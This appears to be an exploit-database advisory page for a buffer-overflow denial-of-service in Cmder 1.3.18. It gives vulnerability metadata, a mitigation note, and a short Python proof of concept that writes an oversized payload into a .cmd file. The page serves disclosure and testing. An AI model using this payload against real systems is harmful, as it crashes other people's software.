Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC)

vendor:

Cmder

by:

Aryan Chehreghani

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Cmder

Affected Version From: 1.3.18

Affected Version To: 1.3.18

Patch Exists: YES

Related CWE:

CPE: a:cmderdev:cmder:1.3.18

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2021

Cmder Console Emulator 1.3.18 – ‘Cmder.exe’ Denial of Service (PoC)

Cmder is a software package created over absence of usable console emulator on Windows. It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout. A buffer overflow vulnerability exists in Cmder Console Emulator 1.3.18, which requires the execution of a .cmd file type and The created file enters the emulator, That will trigger the buffer overflow condition.

Mitigation:

Update to the latest version of Cmder Console Emulator.

Source

Exploit-DB raw data:

# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10 

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] : 

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition. 
#E.g  λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)